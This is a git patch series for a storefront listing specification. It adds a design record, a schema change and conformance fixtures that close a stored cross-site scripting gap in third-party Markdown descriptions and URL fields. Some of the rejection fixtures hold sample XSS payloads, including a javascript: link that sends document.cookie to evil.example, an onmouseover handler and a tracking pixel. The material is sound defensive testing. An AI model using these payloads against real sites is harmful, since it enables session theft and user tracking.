From 8489c449cb4f98327015400f48a04a658b82b41b Mon Sep 17 00:00:00 2001
From: Justin Merrell <merrelljustin@gmail.com>
Date: Mon, 17 Aug 2026 01:51:59 +0000
Subject: [PATCH 1/3] docs: record the trust boundary around a listing
 description
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`spec.description` is third-party Markdown rendered by the storefront in a
first-party origin, bounded only at 20 000 characters and constrained by
nothing. CommonMark permits raw HTML by design, so a conforming listing may
contain `<script>` today.

The decision is CommonMark 0.31.2 minus raw HTML, with link destinations
restricted to a scheme list and image destinations held to listing §5's
media-path rule. Naming a grammar rather than describing one is what lets a
listing document HTML inside a code fence and stay conforming — a rule phrased
lexically would have rejected the authors writing honest documentation.

Two parts are stated deliberately rather than inherited. The rule binds the
renderer as well as the author, because the document it exists to stop is
written by someone who will not run the validator; and the same scheme rule
reaches homepageUrl, sourceRepoUrl and supportUrl, because `javascript:` in a
scalar field is the same stored XSS as `javascript:` in a description link.

Refs #22

Signed-off-by: Justin Merrell <merrelljustin@gmail.com>
---
 ...0004-listing-description-trust-boundary.md | 174 ++++++++++++++++++
 1 file changed, 174 insertions(+)
 create mode 100644 docs/adr/0004-listing-description-trust-boundary.md

diff --git a/docs/adr/0004-listing-description-trust-boundary.md b/docs/adr/0004-listing-description-trust-boundary.md
new file mode 100644
index 0000000..208cd2d
--- /dev/null
+++ b/docs/adr/0004-listing-description-trust-boundary.md
@@ -0,0 +1,174 @@
+# ADR 0004: The trust boundary around a listing description
+
+- **Status:** Accepted
+- **Date:** 2026-08-17
+- **Extends:** [ADR 0001](0001-canonical-repository-architecture.md) §6
+
+## Context
+
+`spec.description` on a listing document is Markdown, bounded only at 20 000
+characters. It is written by whoever publishes the item and rendered by the
+storefront, which means it is third-party content displayed in a first-party
+origin — the classic shape of a stored cross-site scripting vulnerability.
+
+Nothing constrains it today. CommonMark permits raw HTML by design, so a
+conforming listing may contain `<script>`, and
+[SECURITY.md](../../SECURITY.md) already names "a schema that accepts a document
+the specification forbids, where the gap has a security consequence" as a
+vulnerability class in this repository.
+
+The asymmetry in [listing §4](../../specifications/listing/v1/spec.md#presentation)
+made the gap visible before this ADR did. `summary` — a 280-character tagline
+that cannot hurt anyone — is constrained: it "MUST NOT be rendered as Markdown".
+`description` — the field that can — is not.
+
+The consequence of saying nothing is not that nothing is decided. It is that
+every consumer decides separately, in private, and the specification learns
+which of them decided wrong from a disclosure report.
+
+Two things force the timing. First, constraining the subset rejects listings
+that validate today, which
+[GOVERNANCE.md § Compatibility review](../../GOVERNANCE.md) makes a breaking
+change requiring a new `v<N>` directory. Second, no tag exists yet and the
+`1.0.0` release PRs are still open, so the change is free now and expensive
+immediately afterwards. Of the two `TODO`s this repository still carried, this
+is the one where waiting has a cost that cannot be paid back.
+
+## Decision
+
+### 1. A named base, cited by version
+
+`description` is **CommonMark 0.31.2**, named and versioned rather than
+described as "Markdown". "Markdown" is not one language; a rule written against
+it is a rule each implementation resolves against whatever parser it already
+had.
+
+Raw HTML is forbidden in CommonMark's own terms — the *HTML block* (§4.6) and
+*raw HTML* inline (§6.6) constructs — rather than as a search for angle
+brackets. The distinction is the whole reason for naming a grammar: a code span
+and a fenced code block are different constructs in that grammar, so a listing
+for a web component may document `<script>` inside a fence and remain
+conforming. A rule phrased lexically would have rejected it, and the authors it
+rejected would have been the ones writing honest documentation.
+
+**Rejected:** naming a sanitiser (DOMPurify, bluemonday, sanitize-html) as the
+normative reference. It is [ADR 0001](0001-canonical-repository-architecture.md)
+§6's objection exactly — a reference implementation becomes the de facto
+standard and hides normative behaviour inside code — with the added defect that
+a sanitiser's ruleset changes on its own release schedule, not on this
+repository's.
+
+### 2. Three constructs, three rules
+
+| Construct | Rule | Why |
+|---|---|---|
+| Raw HTML | Forbidden | The direct script-execution vector. |
+| Link destination | `https`, `http`, `mailto`, or a fragment | `javascript:` is script execution wearing a link. |
+| Image destination | An item media path per [listing §5](../../specifications/listing/v1/spec.md#media) | A remote image is a per-view beacon. |
+
+The image rule is the one that needs its reasoning written down, because it is
+the one that looks like overreach. A remote image does not execute anything. It
+does disclose every storefront viewer's IP address and user agent to a host the
+listing author chooses, on every page view, with no interaction — and the author
+is a third party the storefront has no relationship with. Listing §5 already
+fixed `media/` as the one directory an item ships assets from, for reasons that
+had nothing to do with security; a description image is a media path and is held
+to the same rule, so the answer is one rule rather than two.
+
+**Rejected:** permitting remote images so that badge shields keep working. A
+badge is a live third-party surface embedded in a first-party origin, which is
+the thing being ruled out, and a storefront cannot cache the beacon away without
+breaking the badge it was cached for.
+
+### 3. The rule binds the renderer, not only the author
+
+A consumer rendering `description` MUST NOT emit a construct this profile
+forbids, whether or not it validated the document first.
+
+This is the first clause in the family that constrains an implementation's
+*output* rather than a document, and it is stated deliberately rather than
+inherited. The grounds are that an authoring rule alone protects nobody here.
+A rule about what an author MAY write is enforced by validation, and the
+document this rule exists to stop is one written by someone who will not run the
+validator. Every other rule in these specifications describes a document that a
+careless author produces; this one describes a document that a hostile author
+produces on purpose.
+
+**Rejected:** stating the profile as an authoring rule and leaving rendering to
+each consumer. It converges the *diagnostics* without converging the
+*behaviour*, which leaves the injection surface exactly where it was for any
+consumer that renders before validating — and rendering before validating is
+what a storefront serving a cached listing does.
+
+**Rejected:** a `sanitised: true` flag, or a field naming the renderer profile
+the storefront should apply. Both make a security property of the storefront
+into a value the untrusted document supplies.
+
+### 4. One rule, two placements
+
+`javascript:` in `homepageUrl` is the same stored XSS as `javascript:` in a
+description link, and the storefront renders both. `homepageUrl`,
+`sourceRepoUrl`, and `supportUrl` are bounded-length strings with no `format`
+and no prose today, so the same scheme rule reaches them.
+
+Where each half is enforced follows from what can decide it offline:
+
+| Surface | Placement | Phase |
+|---|---|---|
+| The three scalar URL fields | A `pattern` in the schema | `structural` |
+| Link and image destinations inside `description` | A check over the parsed document | `semantic` |
+
+No JSON Schema pattern can decide Markdown — finding the link destinations means
+parsing the document — so the description half cannot be structural. The scalar
+half can be, and structural is where it belongs: every validator in every
+language gets it from the bundle, offline, with no code to write.
+
+The pattern is anchored and lookahead-free so it compiles under RE2 as well as
+ECMA-262 and cannot be driven to backtrack. SECURITY.md names catastrophic
+backtracking in a published pattern as a vulnerability class, and a pattern
+added to close a security gap is a poor place to open one.
+
+## Consequences
+
+**Positive**
+
+- The injection surface has one answer instead of one per consumer, and the
+  answer is executable: three diagnostics with fixtures rather than prose.
+- Listing v1 carries no `TODO`, which was the stated blocker on declaring it
+  stable.
+- A typo — `htps://`, a stray `javascript:` pasted from a bookmarklet — fails
+  offline in the author's editor rather than on the storefront.
+- The `media/` rule now means one thing across the whole document, rather than
+  binding `icon` and `screenshots` while `description` did as it liked.
+
+**Negative**
+
+- This repository now depends on a Markdown parser to check a rule, in
+  `tools/`. That is non-normative code ([ADR 0001](0001-canonical-repository-architecture.md)
+  §7), so it is not contract surface, but SECURITY.md names `tools/` as a threat
+  surface because it runs in CI with repository credentials. The dependency is
+  the CommonMark reference implementation, pinned, and its version tracks the
+  spec version cited above.
+- Every implementation validating a listing must now parse Markdown. That is a
+  real cost imposed on downstream SDKs, and it is imposed for the description
+  half only — the scalar URL fields cost them nothing.
+- The renderer clause is unenforceable by this repository. No fixture can
+  observe a storefront's output, so §4.1's strongest rule is the one with no
+  case behind it.
+- Constraining the subset rejects listings that would have validated. Nothing is
+  published yet, so the set is empty today; it is not empty in
+  `musher-dev/platform`, which has no such rule.
+
+## Follow-ups
+
+1. The renderer clause needs a home in the conformance corpus it cannot have
+   today. If the fixture contract ever grows a way to assert over rendered
+   output, this is its first customer — that is an
+   [ADR 0002](0002-conformance-case-trees.md)-shaped change to the case shape,
+   not a fixture someone can add.
+2. `tags` is an unbounded array of unbounded strings and is rendered by the
+   storefront. It is plain text, so it is not this ADR's problem, but it is
+   unbounded for no stated reason.
+3. Neither `license` nor the item's own prose is checked against anything. The
+   licence field in particular looks like an SPDX identifier and is not
+   constrained to be one.

From e86517cc8db234dd5b3e696da32e8a49a47e3038 Mon Sep 17 00:00:00 2001
From: Justin Merrell <merrelljustin@gmail.com>
Date: Mon, 17 Aug 2026 02:00:30 +0000
Subject: [PATCH 2/3] feat(listing): constrain the description Markdown subset
 and the URL fields
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

listing §4 constrained `summary` — the field that cannot hurt anyone — and left
`description` unconstrained. A description is third-party Markdown rendered by
the storefront in a first-party origin, and CommonMark permits raw HTML by
design, so a conforming listing could contain `<script>` today.

§4.1 narrows it to CommonMark 0.31.2 minus raw HTML, with link destinations on
`https`, `http`, `mailto` or a fragment and image destinations held to §5's
media-path grammar. Three semantic diagnostics carry it: ERR_RAW_HTML,
ERR_DISALLOWED_SCHEME, ERR_IMAGE_NOT_LOCAL.

The rule is written in CommonMark's own constructs — HTML block (§4.6) and raw
HTML inline (§6.6) — rather than as a search for angle brackets, because a code
span and a fenced code block are different constructs in that grammar. A listing
may therefore document `<script>` inside a fence and stay conforming, which
semantic-009 pins; the same `<script>` outside the fence is semantic-008.
Deciding that correctly is what the commonmark dependency in tools/ buys, and
tools/ is non-normative (ADR 0001 §7).

§4.1 also reaches the renderer: a consumer MUST NOT emit a forbidden construct
whether or not it validated first. The document this profile exists to stop is
written by someone who will not run the validator, so an authoring rule alone
would protect nobody. No fixture can observe a storefront's output, so the
strongest rule here is the one with no case behind it.

homepageUrl, sourceRepoUrl and supportUrl were bare maxLength strings and now
carry the same scheme set as a `pattern` — anchored and lookahead-free, so it
compiles under RE2 and cannot backtrack. Same rule, two placements: structural
where JSON Schema can decide it offline, semantic where it cannot parse Markdown.

Six fixtures. The four negatives were verified red before this commit and green
after; structural-012 pins that the scheme set is three terms and not one.

An image destination inherits §5's existence and containment rules, reported at
/spec/description. Basename uniqueness does not — that rule is about the
screenshot gallery, which a description image is not part of.

Refs #22

Signed-off-by: Justin Merrell <merrelljustin@gmail.com>
---
 conformance/listing/v1/cases.json             |  30 +++++
 .../008-description-raw-html/case.yaml        |  25 ++++
 .../008-description-raw-html/diagnostics.json |   6 +
 .../008-description-raw-html/metadata.json    |   7 ++
 .../case.yaml                                 |  36 ++++++
 .../metadata.json                             |   7 ++
 .../010-description-javascript-url/case.yaml  |  24 ++++
 .../diagnostics.json                          |   6 +
 .../metadata.json                             |   7 ++
 .../011-description-remote-image/case.yaml    |  26 ++++
 .../diagnostics.json                          |   6 +
 .../metadata.json                             |   7 ++
 .../011-url-field-disallowed-scheme/case.yaml |  17 +++
 .../diagnostics.json                          |   6 +
 .../metadata.json                             |   7 ++
 .../012-support-url-mailto/case.yaml          |  19 +++
 .../012-support-url-mailto/metadata.json      |   7 ++
 specifications/listing/v1/examples/full.yaml  |  11 +-
 .../v1/schemas/dist/listing.schema.json       |  12 +-
 .../v1/schemas/src/listing.schema.json        |  12 +-
 specifications/listing/v1/spec.md             |  73 ++++++++++--
 tools/bun.lock                                |  12 ++
 tools/package.json                            |   2 +
 tools/src/semantic.ts                         | 112 ++++++++++++++++++
 24 files changed, 462 insertions(+), 15 deletions(-)
 create mode 100644 conformance/listing/v1/semantic/008-description-raw-html/case.yaml
 create mode 100644 conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json
 create mode 100644 conformance/listing/v1/semantic/008-description-raw-html/metadata.json
 create mode 100644 conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml
 create mode 100644 conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json
 create mode 100644 conformance/listing/v1/semantic/010-description-javascript-url/case.yaml
 create mode 100644 conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json
 create mode 100644 conformance/listing/v1/semantic/010-description-javascript-url/metadata.json
 create mode 100644 conformance/listing/v1/semantic/011-description-remote-image/case.yaml
 create mode 100644 conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json
 create mode 100644 conformance/listing/v1/semantic/011-description-remote-image/metadata.json
 create mode 100644 conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml
 create mode 100644 conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json
 create mode 100644 conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json
 create mode 100644 conformance/listing/v1/structural/012-support-url-mailto/case.yaml
 create mode 100644 conformance/listing/v1/structural/012-support-url-mailto/metadata.json

diff --git a/conformance/listing/v1/cases.json b/conformance/listing/v1/cases.json
index 6118cc5..56958e4 100644
--- a/conformance/listing/v1/cases.json
+++ b/conformance/listing/v1/cases.json
@@ -72,6 +72,16 @@
       "phase": "structural",
       "path": "structural/010-media-paths"
     },
+    {
+      "id": "structural-011-url-field-disallowed-scheme",
+      "phase": "structural",
+      "path": "structural/011-url-field-disallowed-scheme"
+    },
+    {
+      "id": "structural-012-support-url-mailto",
+      "phase": "structural",
+      "path": "structural/012-support-url-mailto"
+    },
     {
       "id": "semantic-001-duplicate-screenshot-basename",
       "phase": "semantic",
@@ -106,6 +116,26 @@
       "id": "semantic-007-component-item-version-independent",
       "phase": "semantic",
       "path": "semantic/007-component-item-version-independent"
+    },
+    {
+      "id": "semantic-008-description-raw-html",
+      "phase": "semantic",
+      "path": "semantic/008-description-raw-html"
+    },
+    {
+      "id": "semantic-009-description-html-in-code-fence",
+      "phase": "semantic",
+      "path": "semantic/009-description-html-in-code-fence"
+    },
+    {
+      "id": "semantic-010-description-javascript-url",
+      "phase": "semantic",
+      "path": "semantic/010-description-javascript-url"
+    },
+    {
+      "id": "semantic-011-description-remote-image",
+      "phase": "semantic",
+      "path": "semantic/011-description-remote-image"
     }
   ]
 }
diff --git a/conformance/listing/v1/semantic/008-description-raw-html/case.yaml b/conformance/listing/v1/semantic/008-description-raw-html/case.yaml
new file mode 100644
index 0000000..9aa839d
--- /dev/null
+++ b/conformance/listing/v1/semantic/008-description-raw-html/case.yaml
@@ -0,0 +1,25 @@
+# A listing is authored by a third party and rendered by the storefront, so the
+# description is untrusted content in a first-party origin. Raw HTML is the
+# direct script-execution vector, and CommonMark permits it by default — which
+# is why §4.1 narrows the profile rather than naming CommonMark and stopping.
+#
+# Both forms appear here: an HTML block (CommonMark §4.6) and raw inline HTML
+# (§6.6). One diagnostic is declared; the runner permits the second.
+specVersion: v1
+kind: LISTING
+metadata:
+  slug: postgres
+  version: 1
+spec:
+  listingKind: COMPONENT
+  displayName: PostgreSQL
+  summary: The open-source relational database
+  category: INFRASTRUCTURE
+  lifecycleStage: STABLE
+  description: |
+    ## What it is
+
+    <div align="center"><img src="https://tracker.example/pixel.png"></div>
+
+    A relational database with an <span onmouseover="alert(1)">interesting</span>
+    reputation.
diff --git a/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json b/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json
new file mode 100644
index 0000000..6e20a57
--- /dev/null
+++ b/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json
@@ -0,0 +1,6 @@
+[
+  {
+    "code": "ERR_RAW_HTML",
+    "path": "/spec/description"
+  }
+]
diff --git a/conformance/listing/v1/semantic/008-description-raw-html/metadata.json b/conformance/listing/v1/semantic/008-description-raw-html/metadata.json
new file mode 100644
index 0000000..5e28ac5
--- /dev/null
+++ b/conformance/listing/v1/semantic/008-description-raw-html/metadata.json
@@ -0,0 +1,7 @@
+{
+  "id": "semantic-008-description-raw-html",
+  "phase": "semantic",
+  "expected": "fail",
+  "clause": "specifications/listing/v1/spec.md#description-markdown",
+  "summary": "A description containing raw HTML is rejected."
+}
diff --git a/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml b/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml
new file mode 100644
index 0000000..e6f1262
--- /dev/null
+++ b/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml
@@ -0,0 +1,36 @@
+# The regression pin for §4.1's "a code fence is not raw HTML".
+#
+# A listing for anything embeddable documents the snippet its users have to
+# paste, and that snippet is HTML. CommonMark tokenises a code span and a fenced
+# code block as their own constructs — never `html_block` or `html_inline` — so
+# the rule is written in CommonMark's terms rather than as a search for angle
+# brackets. A lexical rule would reject this document, and the authors it
+# rejected would be the ones writing honest documentation.
+#
+# The same `<script>` outside the fence is semantic-008.
+specVersion: v1
+kind: LISTING
+metadata:
+  slug: postgres
+  version: 1
+spec:
+  listingKind: COMPONENT
+  displayName: PostgreSQL
+  summary: The open-source relational database
+  category: INFRASTRUCTURE
+  lifecycleStage: STABLE
+  homepageUrl: https://www.postgresql.org
+  supportUrl: mailto:support@example.com
+  description: |
+    ## Embedding the status widget
+
+    Paste this into your page:
+
+    ```html
+    <script src="https://cdn.example.com/status.js"></script>
+    <div id="pg-status"></div>
+    ```
+
+    Set `<meta name="pg-endpoint">` to your instance, then see the
+    [configuration guide](https://www.postgresql.org/docs/) or jump to
+    [#defaults](#defaults) below.
diff --git a/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json b/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json
new file mode 100644
index 0000000..bf9a771
--- /dev/null
+++ b/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json
@@ -0,0 +1,7 @@
+{
+  "id": "semantic-009-description-html-in-code-fence",
+  "phase": "semantic",
+  "expected": "pass",
+  "clause": "specifications/listing/v1/spec.md#description-markdown",
+  "summary": "HTML inside a code span or fenced code block is not raw HTML, and is accepted."
+}
diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml b/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml
new file mode 100644
index 0000000..0a6bff8
--- /dev/null
+++ b/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml
@@ -0,0 +1,24 @@
+# Forbidding raw HTML alone would not close the surface: a `javascript:` URL is
+# script execution wearing an ordinary Markdown link, and the document holding
+# one contains no HTML at all.
+#
+# The link is spelled as a reference definition rather than inline, because the
+# rule is about the destination a link resolves to and not about the syntax that
+# spells it.
+specVersion: v1
+kind: LISTING
+metadata:
+  slug: postgres
+  version: 1
+spec:
+  listingKind: COMPONENT
+  displayName: PostgreSQL
+  summary: The open-source relational database
+  category: INFRASTRUCTURE
+  lifecycleStage: STABLE
+  description: |
+    ## Getting started
+
+    [Run the setup wizard][wizard] to configure your first database.
+
+    [wizard]: javascript:fetch('https://evil.example/'+document.cookie)
diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json b/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json
new file mode 100644
index 0000000..3345e0e
--- /dev/null
+++ b/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json
@@ -0,0 +1,6 @@
+[
+  {
+    "code": "ERR_DISALLOWED_SCHEME",
+    "path": "/spec/description"
+  }
+]
diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json b/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json
new file mode 100644
index 0000000..57a8006
--- /dev/null
+++ b/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json
@@ -0,0 +1,7 @@
+{
+  "id": "semantic-010-description-javascript-url",
+  "phase": "semantic",
+  "expected": "fail",
+  "clause": "specifications/listing/v1/spec.md#description-markdown",
+  "summary": "A description link using a scheme outside the permitted set is rejected."
+}
diff --git a/conformance/listing/v1/semantic/011-description-remote-image/case.yaml b/conformance/listing/v1/semantic/011-description-remote-image/case.yaml
new file mode 100644
index 0000000..4f62872
--- /dev/null
+++ b/conformance/listing/v1/semantic/011-description-remote-image/case.yaml
@@ -0,0 +1,26 @@
+# A remote image executes nothing. It discloses every storefront viewer's IP
+# address and user agent to a host the listing author chose, on every page view,
+# with no interaction — a per-view beacon pointed at people who have no
+# relationship with the author.
+#
+# §5 already fixed `media/` as the one directory an item ships assets from, so a
+# description image is held to the same grammar and a remote one is unspellable
+# rather than merely discouraged. The badge below is the shape this rejects in
+# practice, and rejecting it is the deliberate cost.
+specVersion: v1
+kind: LISTING
+metadata:
+  slug: postgres
+  version: 1
+spec:
+  listingKind: COMPONENT
+  displayName: PostgreSQL
+  summary: The open-source relational database
+  category: INFRASTRUCTURE
+  lifecycleStage: STABLE
+  description: |
+    ## PostgreSQL
+
+    ![build status](https://img.shields.io/badge/build-passing-green.svg)
+
+    A relational database.
diff --git a/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json b/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json
new file mode 100644
index 0000000..22f9060
--- /dev/null
+++ b/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json
@@ -0,0 +1,6 @@
+[
+  {
+    "code": "ERR_IMAGE_NOT_LOCAL",
+    "path": "/spec/description"
+  }
+]
diff --git a/conformance/listing/v1/semantic/011-description-remote-image/metadata.json b/conformance/listing/v1/semantic/011-description-remote-image/metadata.json
new file mode 100644
index 0000000..0f56547
--- /dev/null
+++ b/conformance/listing/v1/semantic/011-description-remote-image/metadata.json
@@ -0,0 +1,7 @@
+{
+  "id": "semantic-011-description-remote-image",
+  "phase": "semantic",
+  "expected": "fail",
+  "clause": "specifications/listing/v1/spec.md#description-markdown",
+  "summary": "A description image that is not an item media path is rejected."
+}
diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml
new file mode 100644
index 0000000..443581a
--- /dev/null
+++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml
@@ -0,0 +1,17 @@
+# `javascript:` in `homepageUrl` is the same stored injection as `javascript:`
+# in a description link, and a storefront renders both. The scheme rule is one
+# rule with two placements: a `pattern` here, because a scalar field is
+# something JSON Schema can decide offline, and a semantic check inside the
+# description, because no pattern can parse Markdown.
+specVersion: v1
+kind: LISTING
+metadata:
+  slug: postgres
+  version: 1
+spec:
+  listingKind: COMPONENT
+  displayName: PostgreSQL
+  summary: The open-source relational database
+  category: INFRASTRUCTURE
+  lifecycleStage: STABLE
+  homepageUrl: javascript:alert(document.domain)
diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json
new file mode 100644
index 0000000..dcf9885
--- /dev/null
+++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json
@@ -0,0 +1,6 @@
+[
+  {
+    "code": "ERR_INVALID_VALUE",
+    "path": "/spec/homepageUrl"
+  }
+]
diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json
new file mode 100644
index 0000000..e9b2e2b
--- /dev/null
+++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json
@@ -0,0 +1,7 @@
+{
+  "id": "structural-011-url-field-disallowed-scheme",
+  "phase": "structural",
+  "expected": "fail",
+  "clause": "specifications/listing/v1/spec.md#presentation",
+  "summary": "A scalar URL field using a scheme outside the permitted set is rejected."
+}
diff --git a/conformance/listing/v1/structural/012-support-url-mailto/case.yaml b/conformance/listing/v1/structural/012-support-url-mailto/case.yaml
new file mode 100644
index 0000000..c01e98b
--- /dev/null
+++ b/conformance/listing/v1/structural/012-support-url-mailto/case.yaml
@@ -0,0 +1,19 @@
+# The other half of structural-011. The scheme set is three terms, not one, and
+# each is here for a reason worth pinning: `mailto:` because a support address
+# is a plausible value for supportUrl, and `http` because rejecting it would
+# reject projects whose homepage is not yet served over TLS — a judgement about
+# someone else's infrastructure rather than about this document.
+specVersion: v1
+kind: LISTING
+metadata:
+  slug: postgres
+  version: 1
+spec:
+  listingKind: COMPONENT
+  displayName: PostgreSQL
+  summary: The open-source relational database
+  category: INFRASTRUCTURE
+  lifecycleStage: STABLE
+  homepageUrl: https://www.postgresql.org
+  sourceRepoUrl: http://git.postgresql.org/git/postgresql.git
+  supportUrl: mailto:support@example.com
diff --git a/conformance/listing/v1/structural/012-support-url-mailto/metadata.json b/conformance/listing/v1/structural/012-support-url-mailto/metadata.json
new file mode 100644
index 0000000..30468ea
--- /dev/null
+++ b/conformance/listing/v1/structural/012-support-url-mailto/metadata.json
@@ -0,0 +1,7 @@
+{
+  "id": "structural-012-support-url-mailto",
+  "phase": "structural",
+  "expected": "pass",
+  "clause": "specifications/listing/v1/spec.md#presentation",
+  "summary": "The permitted scheme set includes mailto, and http alongside https."
+}
diff --git a/specifications/listing/v1/examples/full.yaml b/specifications/listing/v1/examples/full.yaml
index 916b7d9..064453f 100644
--- a/specifications/listing/v1/examples/full.yaml
+++ b/specifications/listing/v1/examples/full.yaml
@@ -1,7 +1,9 @@
 # yaml-language-server: $schema=https://schemas.musher.dev/listing/v1/listing.schema.json
 #
-# A storefront entry using the full descriptive surface. Media paths are
-# relative to the listing document.
+# A storefront entry using the full descriptive surface. Media paths begin at
+# `media/` and resolve inside the item root (§5). The description stays inside
+# §4.1's profile: no raw HTML, links on permitted schemes, and an image that is
+# an item media path rather than a remote one.
 specVersion: v1
 kind: LISTING
 metadata:
@@ -29,6 +31,11 @@ spec:
     A single container of `postgres:17.10-alpine` on port 5432 as a private TCP
     endpoint. You supply the password at deploy time; a 10 GiB volume keeps the
     data directory across restarts.
+
+    ![The connection details panel](media/overview.png)
+
+    Read the [upstream documentation](https://www.postgresql.org/docs/), or
+    write to <support@example.com> if something here is wrong.
   category: INFRASTRUCTURE
   lifecycleStage: STABLE
   tags:
diff --git a/specifications/listing/v1/schemas/dist/listing.schema.json b/specifications/listing/v1/schemas/dist/listing.schema.json
index 099c137..9e7d074 100644
--- a/specifications/listing/v1/schemas/dist/listing.schema.json
+++ b/specifications/listing/v1/schemas/dist/listing.schema.json
@@ -126,10 +126,12 @@
           "type": "string"
         },
         "homepageUrl": {
-          "description": "Project homepage URL, or null when none.",
+          "description": "Project homepage URL, or null when none. Must use the https, http, or mailto scheme.",
           "anyOf": [
             {
+              "$comment": "Anchored and lookahead-free, so it compiles under RE2 as well as ECMA-262 and cannot be driven to backtrack. The scheme set is spec.md §4.1's, applied to a field that carries a URL directly rather than inside Markdown.",
               "maxLength": 2048,
+              "pattern": "^(?:https?://|mailto:)[^\\s]+$",
               "type": "string"
             },
             {
@@ -192,10 +194,12 @@
           "type": "array"
         },
         "sourceRepoUrl": {
-          "description": "Source repository URL, or null when none.",
+          "description": "Source repository URL, or null when none. Must use the https, http, or mailto scheme.",
           "anyOf": [
             {
+              "$comment": "The same grammar homepageUrl carries; see the note there.",
               "maxLength": 2048,
+              "pattern": "^(?:https?://|mailto:)[^\\s]+$",
               "type": "string"
             },
             {
@@ -211,10 +215,12 @@
           "type": "string"
         },
         "supportUrl": {
-          "description": "Support or documentation URL, or null when none.",
+          "description": "Support or documentation URL, or null when none. Must use the https, http, or mailto scheme.",
           "anyOf": [
             {
+              "$comment": "The same grammar homepageUrl carries; see the note there. mailto: is in the set for this field in particular — a support address is a plausible value.",
               "maxLength": 2048,
+              "pattern": "^(?:https?://|mailto:)[^\\s]+$",
               "type": "string"
             },
             {
diff --git a/specifications/listing/v1/schemas/src/listing.schema.json b/specifications/listing/v1/schemas/src/listing.schema.json
index 47f1af1..c8ddd96 100644
--- a/specifications/listing/v1/schemas/src/listing.schema.json
+++ b/specifications/listing/v1/schemas/src/listing.schema.json
@@ -128,7 +128,9 @@
         "homepageUrl": {
           "anyOf": [
             {
+              "$comment": "Anchored and lookahead-free, so it compiles under RE2 as well as ECMA-262 and cannot be driven to backtrack. The scheme set is spec.md §4.1's, applied to a field that carries a URL directly rather than inside Markdown.",
               "maxLength": 2048,
+              "pattern": "^(?:https?://|mailto:)[^\\s]+$",
               "type": "string"
             },
             {
@@ -136,7 +138,7 @@
             }
           ],
           "default": null,
-          "description": "Project homepage URL, or null when none."
+          "description": "Project homepage URL, or null when none. Must use the https, http, or mailto scheme."
         },
         "icon": {
           "anyOf": [
@@ -194,7 +196,9 @@
         "sourceRepoUrl": {
           "anyOf": [
             {
+              "$comment": "The same grammar homepageUrl carries; see the note there.",
               "maxLength": 2048,
+              "pattern": "^(?:https?://|mailto:)[^\\s]+$",
               "type": "string"
             },
             {
@@ -202,7 +206,7 @@
             }
           ],
           "default": null,
-          "description": "Source repository URL, or null when none."
+          "description": "Source repository URL, or null when none. Must use the https, http, or mailto scheme."
         },
         "summary": {
           "description": "One-line storefront tagline summarising the listing.",
@@ -213,7 +217,9 @@
         "supportUrl": {
           "anyOf": [
             {
+              "$comment": "The same grammar homepageUrl carries; see the note there. mailto: is in the set for this field in particular — a support address is a plausible value.",
               "maxLength": 2048,
+              "pattern": "^(?:https?://|mailto:)[^\\s]+$",
               "type": "string"
             },
             {
@@ -221,7 +227,7 @@
             }
           ],
           "default": null,
-          "description": "Support or documentation URL, or null when none."
+          "description": "Support or documentation URL, or null when none. Must use the https, http, or mailto scheme."
         },
         "tags": {
           "description": "Free-form discovery tags applied to the listing.",
diff --git a/specifications/listing/v1/spec.md b/specifications/listing/v1/spec.md
index d18e2f7..704e1fe 100644
--- a/specifications/listing/v1/spec.md
+++ b/specifications/listing/v1/spec.md
@@ -130,14 +130,15 @@ inside a root it has not been given.
 Markdown. It is a one-line tagline; rendering it as Markdown turns an
 underscore in a product name into emphasis and an asterisk into a bullet.
 
-`description` is Markdown, at most 20 000 characters.
+`description` is Markdown, at most 20 000 characters, and is constrained to the
+profile in [§4.1](#description-markdown).
 
-> **TODO** — The permitted Markdown subset for `description`. This one is a
-> security question rather than an undocumented behaviour: neither this
-> specification nor any implementation constrains the subset today, and a
-> storefront rendering untrusted Markdown from a third-party listing is an
-> injection surface. Raw embedded HTML, `javascript:` URLs, and remote image
-> references are the three that need deciding.
+`homepageUrl`, `sourceRepoUrl`, and `supportUrl` MUST use the `https`, `http`,
+or `mailto` scheme. A value that does not is rejected in the `structural` phase
